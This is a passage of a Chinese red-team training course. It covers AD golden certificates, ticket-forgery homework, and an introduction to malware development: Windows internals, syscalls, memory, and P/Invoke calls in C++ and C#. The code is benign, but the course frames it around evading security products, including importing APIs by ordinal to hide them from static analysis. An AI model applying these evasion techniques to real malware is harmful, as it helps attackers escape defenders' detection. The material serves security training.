[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/EuGPUdQROGEhGtMZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/EuGPUdQROGEhGtMZ-image.png)

这样，我们可以通过窃取的私钥来伪造证书，从而获得特权用户的 TGT。

### **VS 黄金票据**

**黄金票据**，即伪造的 TGT，与**黄金证书**，即伪造的证书，它们之间存在着明显的相似之处。以下几点是一些相似以及对比：

1：krbtgt 密钥和 CA 私钥都是对 AD 环境的安全至关重要的密码学物件，两者都可被滥用于模仿任意用户。

2：我们可以通过 DCSync 远程提取 krbtgt 密钥，但只有在 CA 服务器上获得**提升特权的代码执行**才可提取 CA 私钥。。

3：**krbtgt 密钥**可以相对容易地轮换，而轮换 **CA 私钥**则要困难得多。

# 第13章课后作业

### 练习

1：回顾一下，从黑盒的角度，我们是怎么一步步利用并最终攻陷 back\_operator 用户的？

2：尝试制作其他服务的白银票据，并验证是否得到了对应的访问

3：用 Mimikatz 制作黄金票据与白银票据

4：在其他域制作一张钻石票据

5：理解跨域理论的内容

6：使用钻石票据的方法获得对 Dc02 的访问

7：无论使用 krbtgt 的方法还是信任密钥的方法，看看能否最终从 Dc02 移动到 white-bird 域的任意主机上？

8：复现入口信任以及出口信任的利用

9：复现黄金证书攻击

# 面试专题

# 章节14：恶意软件开发基础



# Windows 架构、API 与编程调用

从这个章节起，我们将学习一些有关编程与二进制的技能，为下个章节的恶意软件以及安全工具开发奠定基础。学习恶意软件开发的原因有多种，从进攻型安全的角度来看，我们通常需要针对客户的环境执行某些恶意任务，当涉及到参与中使用的工具类型时，通常有三个主要选择。第 1 种是开源工具，这些工具通常由安全供应商签名甚至没有签名，并且会在安全性相对任何成熟的组织中被检测到，因此在执行攻击的时候，它们并不总是可靠的。第 2 种是购买工具，预算较大的团队通常会选择购买工具，以便在项目期间节省宝贵的时间。这些工具通常是闭源的，并且具备更加出色的免杀能力。以及，开发定制工具。因为这些工具是定制的，所以它们没有被安全供应商们分析或标记，这使得攻击者在免疫检测方面具有优势，这就是恶意软件开发知识对于更成功的红队行动至关重要的地方。

### **Windows 架构**

##### **Windows 架构**

为了学习较为底层的理论，我们首先需要了解 Windows 架构。运行 Windows 操作系统的机器内的处理器可以在两种不同的模式下运行：**用户模式** (又称为 **Ring 3**) 和**内核模式** (又称为 **Ring 0)**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/BO7j5sYQRgIHUnAu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/BO7j5sYQRgIHUnAu-image.png)

**应用程序**运行在**用户模式**下，**操作系统组件**运行在**内核模式**下。大多数**用户活动**将发生在用户模式，但应用程序也会在需要时过渡到内核模式。Win32 API (例如 kernel32.dll) 旨在成为开发人员的第一个调用端口。 然后这些 API 将调用较低级别的 API，例如 **ntdll.dll**。Microsoft 有意不记录大多数 NTAPI，并且可以随时对其进行更改。他们可能会更改其他用户模式 DLL 与 NTDLL 交互的方式，只要原始用户模式 DLL 接口不变即可

当应用程序想要完成一项任务时，例如**创建文件**，它无法自行完成。 唯一可以完成任务的实体是内核，因此应用程序必须遵循特定的函数调用流程。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/KBfc23yVbJP3OOH5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/KBfc23yVbJP3OOH5-image.png)

我们来看看流程中所涉及到的重要概念：

**用户进程**：由用户执行的应用程序，例如记事本、Chrome 浏览器或 Microsoft Word。

  
**子系统 DLL**：包含用户进程调用的 API 函数的 DLL，例如 **kernel32.dll** 导出 **CreateFile** Windows API 函数，其他常见的子系统 DLL 例如 **ntdll.dll**、**advapi32.dll**、**user32.dll** 等。

  
**ntdll.dll**：系统范围的 DLL，它是用户模式下可用的**最低层**。这是一个特殊的 DLL，用于创建实现从**用户模式到内核模式的转换**，这通常称为**原生 API** (Native API)或 NTAPI。

  
**执行内核**：这就是所谓的 Windows 内核，它调用内核模式中可用的其他驱动程序和模块来完成任务。Windows 内核部分存储在 **C:\\Windows\\System32** 下名为 **ntoskrnl.exe** 的文件中。

##### **函数调用**

以创建文件为例子，应用程序可以调用 **kernel32.dll** 中的 **CreateFileW** 从磁盘打开文件，其中 Kernel32.dll 是一个关键的 DLL，被大多数应用程序加载。然后 CreateFileW 将调用对应的 NTAPI 函数： **ntdll.dll** 中的 **NtCreateFile**，而 ntdll.dll 又使用系统调用 (**syscall**) 转换到内核 (**ntoskrnl.exe)** 以访问文件系统硬件，从调用堆栈的角度来看，这类似于 **UserApp.exe -&gt; kernel32.dll -&gt; ntdll.dll -&gt; ntoskrnl.exe**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/hg6RlGTD2Pb2qgn1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/hg6RlGTD2Pb2qgn1-image.png)

打开 WinDBG (当前为演示目的，稍后小节教授具体用法)，附加到 **Notepad.exe** 进程。给 kernel32 的 CreateFileW 设置断点，随即，我们便到达了调用该 WinAPI 的地址。不过跟我们想象的略有不一样，这个地址并没有执行 CreateFileW 的实际代码，而是跳转到了 **kernelbase.dll** 的 CreateFileW。这是因为在最近几年的 Windows 版本里，**advapi32.dll 与 kernel32.dll** 中的部分 API 被迁移到了新的 DLL 文件 kernelbase.dll 中。

```
0:002> bp kernel32!createfilew
0:002> g
Breakpoint 0 hit
KERNEL32!CreateFileW:
00007ffd`2ba60760 ff25da2c0600    jmp     qword ptr [KERNEL32!_imp_CreateFileW (00007ffd`2bac3440)] ds:00007ffd`2bac3440={KERNELBASE!CreateFileW (00007ffd`2a0f4f80)}
0:000> p
KERNELBASE!CreateFileW:
00007ffd`2a0f4f80 488bc4          mov     rax,rsp
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/HC3MtIsAOVKEwrkj-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/HC3MtIsAOVKEwrkj-image.png)

前进一步，继而进入 Kernelbase 中的 CreateFileW API。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/pzcLC9Pk8jN2C6TL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/pzcLC9Pk8jN2C6TL-image.png)

从 **CreateFileW** 到 **NtCreateFile** 中间还有着大量的指令，但最终我们看到了调用 Ntdll 中 NtCreateFile 的指令。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/7D4Gpg9VA7kCuMZb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/7D4Gpg9VA7kCuMZb-image.png)

给该位置设置断点，继续执行，果然到达了 NtCreateFile API 的入口。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/ow8RR6Ax5s7VA0Jy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/ow8RR6Ax5s7VA0Jy-image.png)

下图，则是 NtCreateFile 的 syscall stub (执行 syscall 的代码段)，而高亮的 **55h**，这里就是对应的 syscall 编号了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/6yMLOXUHBHRPqQGE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/6yMLOXUHBHRPqQGE-image.png)

syscall stub 的模式如下：

```
mov r10, rcx
mov eax, <syscall 编号>
syscall
ret
```

syscall 编号，即 SSN，在不同版本直接可能有所不同，我们可以在 [https://j00ru.vexillium.org/syscalls/nt/64/](https://j00ru.vexillium.org/syscalls/nt/64/) 网站上查询各个操作系统版本的 SYSCALL 列表。

实际上应用程序可以直接调用 syscall，而无需通过 WinAPI，WinAPI 只是充当原生 API 的包装器。话虽如此，但原生 API 更难使用，因为它们没有被 Microsoft 正式记录。此外，微软也建议不要直接使用原生API 函数，因为它们会在没有告知的情况下随时更改。

### **Windows 内存管理**

该部分会介绍 Windows 内存的基础知识，因为了解 Windows 如何处理内存对于编写高级恶意软件至关重要。

##### **内存与分页**

现代操作系统中的内存是不直接映射到物理内存 (RAM) 的，相反，进程使用的虚拟内存地址映射到物理内存地址，有多个原因，但最终目标是尽可能多地节省物理内存。虚拟内存可以映射到物理内存，但也可以存储在磁盘上。通过虚拟内存寻址，多个进程可以共享同一个物理地址，同时拥有唯一的虚拟内存地址。虚拟内存依赖于**内存分页**的概念，它将内存分成 4kb 的块，称为**页**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/bVQjJEFLFMaVoOY9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/bVQjJEFLFMaVoOY9-image.png)

在进程虚拟地址空间中的页可以处于 3 种状态之一：

**Free** (空闲)：页既未提交也未保留，进程无法访问该页，它可被保留、提交，或同时保留与提交。尝试读取或写入空闲页可能会导致访问异常。

**Reserved** (保留)：该页已保留供之后使用，地址范围不能被其他分配函数所使用。该页不可访问，并且没有与之关联的物理存储。该页可被提交。

**Committed** (提交)：内容已从 RAM 和磁盘上的分页文件中分配，该页可被访问，并且访问由内存保护常数控制。 只有在第一次尝试读取或写入该页时，系统才会初始化每个提交的页并将其加载到物理内存中。当进程终止时，系统释放已提交页的存储。

当页被提交后，需要有保护选项被设置，我们可以从微软官方文档 [https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants](https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants) 中看到不同的常量所对应的内存保护设置，一些常用的如下：

<table border="1" id="bkmrk-%E5%90%8D%E7%A7%B0-%E5%B8%B8%E6%95%B0-%E6%8F%8F%E8%BF%B0-page_execut" style="border-collapse: collapse; width: 100%; height: 177.6px;"><colgroup><col style="width: 24.9629%;"></col><col style="width: 24.9629%;"></col><col style="width: 50.0494%;"></col></colgroup><tbody><tr style="height: 29.6px;"><td style="height: 29.6px;">名称</td><td style="height: 29.6px;">常数</td><td style="height: 29.6px;">描述</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">PAGE\_EXECUTE</td><td style="height: 29.6px;">0x10</td><td style="height: 29.6px;">提交的页可执行</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">PAGE\_EXECUTE\_READWRITE</td><td style="height: 29.6px;">0x40</td><td style="height: 29.6px;">提交的页**可读可写可执行**</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">PAGE\_READWRITE</td><td style="height: 29.6px;">0x04</td><td style="height: 29.6px;">提交的页**可读**或**可读可写**</td></tr></tbody></table>

#####   


##### **内存保护**

现代操作系统通常具有内置的内存保护功能来阻止漏洞利用和攻击，在编写或调试恶意软件时我们很可能会遇到它们。在较新的 Windows 版本中，都是默认开启的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/kmGQECuCKuqrZZj5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/kmGQECuCKuqrZZj5-image.png)

**数据执行保护** (DEP)：DEP 是一种系统级内存保护功能，如果页保护选项设置为 **PAGE\_READONLY**，则 DEP 将阻止代码在这片内存区域中执行。例如在缓冲区溢出的漏洞利用中，开启 DEP 后将**不能在栈区域执行 Shellcode**。

**地址空间布局随机化** (ASLR)：ASLR 随机分配进程关键数据区域的地址空间位置，包括可执行文件的基址、栈、堆、库的位置。在恶意软件开发与漏洞利用开发中，这意味着我们不能**硬编码特定 API 的地址**。

##### **内存操作**

与内存交互的第一部便是分配内存。以 C 语言为例，我们有多种方式实现内存分配：C 中的 **malloc**、**HeapAlloc**、**LocalAlloc** 函数，以及 **VirtualAlloc** API。

```c++
#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>

void print_memory(PVOID start, size_t size) 
{
    unsigned char* ptr = (unsigned char*)start;
    for (size_t i = 0; i < size; ++i) {
        printf("%02x ", ptr[i]);
        if (i % 16 == 15) {
            printf("\n");
        }
    }
    printf("\n");
}

int main()
{
    // 使用malloc()
    PVOID pAddress1 = malloc(100);

    // 使用HeapAlloc()
    PVOID pAddress2 = HeapAlloc(GetProcessHeap(), 0, 100);

    // 使用LocalAlloc()
    PVOID pAddress3 = LocalAlloc(LPTR, 100);

    // 使用VirtualAlloc API
    PVOID pAddress4 = VirtualAlloc(0, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    printf("Base address of allocated memory: 0x%p\n", pAddress1);
    printf("Base address of allocated memory: 0x%p\n", pAddress2);
    printf("Base address of allocated memory: 0x%p\n", pAddress3);
    printf("Base address of allocated memory: 0x%p\n", pAddress4);
    return 0;
}
```

这些函数执行成功后会返回被分配的内存的起始地址，之后根据内存的保护措施，该指针可被用于后续的行动，例如读、写、执行。我们看到，分配的内存可能包含一些随机字符，有的函数支持初始化特定的字符。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/4UvyJXNWKlGdfuPL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/4UvyJXNWKlGdfuPL-image.png)

然后，我们可以对内存进行写操作。在 C 里，我们用 memcpy 函数来实现。

```c++
    const char* cString = "abcdefgh";
    memcpy(pAddress1, cString, strlen(cString));
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/44KfN0WMbAoi6nud-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/44KfN0WMbAoi6nud-image.png)

在使用完分配的缓存后，为了避免内存泄漏，我们最好手动释放。根据分配内存时所使用的函数，释放函数也有所不同。malloc 分配的内存需要用 **free** 函数释放，HeapAlloc 分配的用 **HeapFree** 释放等。

### **Windows API**

##### **介绍**

Windows API 为开发人员提供了一种让他们的应用程序与 Windows 操作系统交互的方法。例如，如果应用程序需要在屏幕上显示某些内容、修改文件或查询注册表，所有这些操作都可以通过 Windows API 完成。

##### **数据类型**

Windows API 涉及了很多种数据类型，是在我们所熟知的 int, float 等类型之外的，我们可以查看官方文档 [https://learn.microsoft.com/en-us/windows/win32/winprog/windows-data-types](https://learn.microsoft.com/en-us/windows/win32/winprog/windows-data-types)。

<table border="1" id="bkmrk-%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B-%E5%90%AB%E4%B9%89-dword-32%E4%BD%8D%E6%97%A0%E7%AC%A6%E5%8F%B7" style="border-collapse: collapse; width: 100%; height: 384.8px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr style="height: 29.6px;"><td style="height: 29.6px;">**数据类型**</td><td style="height: 29.6px;">**含义**</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">DWORD</td><td style="height: 29.6px;">32位无符号整数型，数值范围从 0 到 2^32-1</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">size\_t</td><td style="height: 29.6px;">对象的尺寸，无符号整数型，范围根据操作系统位数有所不同</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">VOID</td><td style="height: 29.6px;">空类型</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">PVOID</td><td style="height: 29.6px;">指向任何数据类型的指针</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">HANDLE</td><td style="height: 29.6px;">操作系统所管理的对象，如文件、进程、线程</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">HMODULE</td><td style="height: 29.6px;">模块的句柄，例如 DLL 的基地址</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">LPCSTR/PCSTR</td><td style="height: 29.6px;">以 **null** 结尾的 8 位 Windows ANSI 字符常量字符串的指针</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">LPSTR/PSTR</td><td style="height: 29.6px;">类似于 LPCSTR/PCSTR，但不是常量，可写</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">LPCWSTR/PCWSTR</td><td style="height: 29.6px;">以 **null** 结尾的 16 位 Windows Unicode 字符常量字符串的指针</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">PWSTR/LPWSTR</td><td style="height: 29.6px;">类似于 LPCWSTR/PCWSTR，但不是常量，可写</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">wchar\_t</td><td style="height: 29.6px;">同 wchar，代表宽字符</td></tr></tbody></table>

#####   


##### **指针**

Windows API 允许开发人员直接声明数据类型或指向数据类型的指针，在数据类型名称中，以 P 开头的数据类型代表指向实际数据类型的指针，而不以 P 开头的数据类型代表实际数据类型本身。例如，**PHANDLE** 与 **HANDLE\*** 相同，**PSIZE\_T** 与 **SIZE\_T\*** 相同，**PDWORD** 与 **DWORD\*** 相同。

##### **ANSI 与 Unicode**

大多数 Windows API 函数都有以 A 或 W 结尾的两个版本。 例如，有 **CreateFileA** 和 **CreateFileW**。其中以 A 结尾的函数表示 **ANSI**，而以 W 结尾的函数表示 **Unicode** 或 **Wide**。在适用的情况下，ANSI 函数采用 ANSI 数据类型作为参数，而 Unicode 函数将采用 Unicode 数据类型。例如，CreateFileA 的第一个参数是一个 **LPCSTR**，它是一个指向以 **null** 结尾的 8 位 Windows ANSI 字符常量字符串的指针，而 CreateFileW 的第一个参数是 **LPCWSTR**，它是一个指向以 null 结尾的 16 位 Unicode 字符常量字符串的指针。

此外，所需的字节数将根据使用的版本而有所不同。

```c++
char str1[] = "dler"; // 5 个字节（dler + 空字节）。
wchar str2[] = L"dler"; // 10字节，每个字符2字节（空字节也是2字节）
```

##### **In 和 Out**

Windows API 有输入和输出参数，**IN** 参数是传递给函数并用于**输入的参数**，而 **OUT** 参数是用于将值**返回给函数调用者的参数**。输出参数通常通过指针按引用传递。以我们之前讨论过的一个 API，**LogonUserA** 为例，诸如用户名、域名、密码等参数都是需要输入的参数，而该 API 调用成功后，有效令牌的句柄会被填充给 phToken 参数。

```c++
BOOL LogonUserA(
  [in]           LPCSTR  lpszUsername,
  [in, optional] LPCSTR  lpszDomain,
  [in, optional] LPCSTR  lpszPassword,
  [in]           DWORD   dwLogonType,
  [in]           DWORD   dwLogonProvider,
  [out]          PHANDLE phToken
);
```

### **调用 API**

在本课程中，我们主要使用 **C++** 与 **C#** 编写恶意软件或工具，在不同的时候，这 2 种语言各有优势。对于要使用的 API 的用法，我们可以参考微软官方文档，例如 MessageBox 的 [https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox)。 接下来，我们来看看如何分别在这 2 种语言里调用 Windows API。

##### **在 C 中调用 MessageBox**

打开 **Visual Studio**，新建 **C++** 项目，选择 **Console App**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/I6YyRW77o9wWqhZ7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/I6YyRW77o9wWqhZ7-image.png)

在 C++ 中调用 WinAPI 十分直接与方便，这也是使用 C++ 编写恶意软件的优势之一。我们分别尝试 ANSI 与 Unicode 版的 MessageBox。

```c++
#include <windows.h>

int main() {
    // MessageBoxA is the ASCII version of the function.
    MessageBoxA(NULL, "Dler Security 2022", "Message", MB_OK);

    // MessageBoxW is the wide character (Unicode) version of the function.
    MessageBoxW(NULL, L"Dler Security 2023", L"Message", MB_OK);

    return 0;
}
```

不出意外，A 与 W 版的 MessageBox 都成功弹出。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/USxq3kYNN9FvmfOF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/USxq3kYNN9FvmfOF-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/oTzmpeGbdXWLCItA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/oTzmpeGbdXWLCItA-image.png)

##### **在 C# 中使用 P/Invoke 调用 MessageBox**

在 C# 中调用 API 需要多出一些步骤，我们先讨论 **P/Invoke** 方法调用 MessageBox。平台调用 (P/Invoke) 允许我们从**托管代码** (例如 C#，VBA)访问**非托管库** (例如 C/C++，Rust 等语言)中存在的结构和函数。顺便一提，托管代码是在**托管运行环境**中执行的，例如 **.NET**、**JVM** 等，运行环境处理内存管理、类型检测、异常处理等任务。而非托管代码，则是直接运行在机器硬件或者操作系统 API 之上，而无需中间运行环境管理代码的执行。在我们恶意软件开发过程中所常接触的语言里，**C/C++** 代码是**非托管**的，而 **C#** 是**托管**的。

用 C/C++ 编写的应用程序和库被编译为机器代码，并且是非托管代码的案例。编程者必须手动进行内存管理等任务，例如每当他们分配内存时，之后必须记得释放回去。相反， C# 托管代码运行在 **CLR**。C# 等语言编译为**中间语言** ，CLR 随后在运行时将其转换为机器代码。CLR 还处理垃圾收集和各种运行时检测。那么，为什么我们需要 P/Invoke 呢？ 以 **.NET** 为例，.NET 运行时已经在底层使用了 P/Invoke，并为我们提供了**运行在顶层的抽象**。例如，要在 .NET 中启动一个进程，我们可以使用 **System.Diagnostics.Process** 类中的 **Start** 方法。如果我们在运行时跟踪此方法，我们将看到它使用 P/Invoke 来调用 **CreateProcess** API。但是，它并没有提供允许我们自定义传递到 **STARTUPINFO 结构体**数据的方法，这使我们无法执行诸如在**挂起**状态下启动进程之类的操作。

用 C# 的 System.Diagnostic 类来实现运行计算器，代码如下：

```c#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;

class Program
{
    static void Main()
    {
        // Create new instance of the Process class
        Process process = new Process();

        // Specify the executable to run
        process.StartInfo.FileName = "calc.exe";

        // Start the process
        process.Start();
    }
}
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/xxqPkOkQ0WdP33PZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/xxqPkOkQ0WdP33PZ-image.png)

而底层的 API 则是 CreateProcess。

```c++
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
```

```c++
typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
```

如果从 API 层面实现运行计算器，代码如下：

```c#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll")]
    public static extern bool CreateProcessA(
        string lpApplicationName,
        string lpCommandLine,
        IntPtr lpProcessAttributes,
        IntPtr lpThreadAttributes,
        bool bInheritHandles,
        uint dwCreationFlags,
        IntPtr lpEnvironment,
        string lpCurrentDirectory,
        [In] ref STARTUPINFOA lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
    public struct STARTUPINFOA
    {
        public int cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    static void Main()
    {
        STARTUPINFOA si = new STARTUPINFOA();
        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
        si.cb = Marshal.SizeOf(si);
        CreateProcessA(null, "calc.exe", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref si, out pi);
    }
}
```

运行结果是完全一样的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/eJy0BtnJeSTFXrnL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/eJy0BtnJeSTFXrnL-image.png)

对于其他诸多有用的 WinAPI，在 .NET 中没有公开，因此我们需要手动进行 P/Invoke。以 MessageBox 为例，我们可以访问 [https://www.pinvoke.net/default.aspx/user32.messagebox](https://www.pinvoke.net/default.aspx/user32.messagebox) 来查看 C# 中的特征。

```c#
[DllImport("user32.dll", SetLastError = true, CharSet= CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);
```

新建 C# 项目，选择 Console App (.NET Framework)。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/yT02K4ElgpNzvBya-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/yT02K4ElgpNzvBya-image.png)

因为 C# 没有类似于 C++ 的头文件，我们需要手动声明所有的 Win API 以及结构体。首先，我们需要使用 **DllImport** 来声明该 API，意思是从 user32.dll 中导入函数 MessageBoxW。返回值类型是**整数型**， 参数有**字符串类型**以及**无符号整型**。考虑到 C++ 与 C# 的数据类型并不是一一对应的，因此我们需要做一些**类型转换**。最终代码如下：

```c#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("user32.dll", CharSet = CharSet.Unicode)]
    static extern int MessageBoxW(IntPtr hWnd, string lpText, string lpCaption, uint uType);

    static void Main(string[] args)
    {
        MessageBoxW(IntPtr.Zero, "MessageBox!", "P/Invoke", 0);
    }
}
```

调用成功。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/sdgN5LXT3h6he6s3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/sdgN5LXT3h6he6s3-image.png)

P/Invoke 已经帮我们自动进行了类型转换，但有的时候可能也需要手动转换。例如对于 **lpText** 与 **lpCaption** 参数，我们可以通过 **MarshalAs(UnmanagedType.LPWStr)** 将其转换为 C# 里的 **string** 类型。

```c#
    static extern int MessageBoxW(IntPtr hWnd, [MarshalAs(UnmanagedType.LPWStr)] string lpText, [MarshalAs(UnmanagedType.LPWStr)] string lpCaption, uint uType);
```

但当我们在恶意软件中使用了较为敏感的 API 的话，是可以通过例如 pestudio([https://www.winitor.com/download](https://www.winitor.com/download)) 等工具来分析出 IoC 的。使用 pestudio 我们可以看到使用 P/Invoke 导入的 API，如果是恶意软件常用的那些，那么便可能引发检测。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/JfQ6UU90oSZ6fnky-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/JfQ6UU90oSZ6fnky-image.png)

MessageBoxW 也存在于二进制文件的字符串列表。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/uFhGw0x9sqaZyjhb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/uFhGw0x9sqaZyjhb-image.png)

为了缓解上述问题，除了 API 的名称，我们还可以通过 API 的序数来指定。对于例如 **user32.dll** 等非托管 DLL，我们可以轻松地使用 PE-Bear 之类的 PE 文件分析器查看其**导出列表** (用于给其他程序导入所用)，我们可以看到 **MessageBoxW** 的序数为 **86E**，也就是十进制的 **2158**。关于**函数名称**、**序数**、**函数 RVA**、**名称 RVA** 等属性之间的关系，我们在稍后小节深入讨论，但目前我们得知序数便可。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/eRmueu6zUPqXCmG3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/eRmueu6zUPqXCmG3-image.png)

我们给 DllImport 部分加入 **EntryPoint** 属性，并且自定义了**函数名称**，最终代码如下：

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("user32.dll", EntryPoint="#2158", CharSet = CharSet.Unicode)]
    static extern int demo(IntPtr hWnd, [MarshalAs(UnmanagedType.LPWStr)] string lpText, [MarshalAs(UnmanagedType.LPWStr)] string lpCaption, uint uType);

    static void Main(string[] args)
    {
        demo(IntPtr.Zero, "Just a demo!", "P/Invoke", 0);
    }
}
```

于是

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/HsemQGrBjmTJ3VEH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/HsemQGrBjmTJ3VEH-image.png)

再次使用 pestudio 检查文件，我们发现更名后的 MessageBoxW 看起来是个合法的函数，不过依旧能看到 P/Invoke 的使用，并且**序数 2158** 也得以显示。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/xI8wnlmP1ZHFtsbu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/xI8wnlmP1ZHFtsbu-image.png)

##### **在 C# 中使用 D/Invoke 调用 MessageBox**

动态调用，即 D/Invoke ([https://github.com/TheWover/DInvoke](https://github.com/TheWover/DInvoke))，是一个开源的 C# 项目旨在代替 P/Invoke。相比 P/Invoke，D/Invoke 具有这些优势：**无需通过 P/Invoke 调用非托管代码**，**将非托管 PE 文件手动映射至内存并且调用其入口或导出函数**，**为原生 API 生成 syscall 包装器**。

下载或编译 DInvoke.dll，在项目中添加对 DInvoke.dll 的引用。

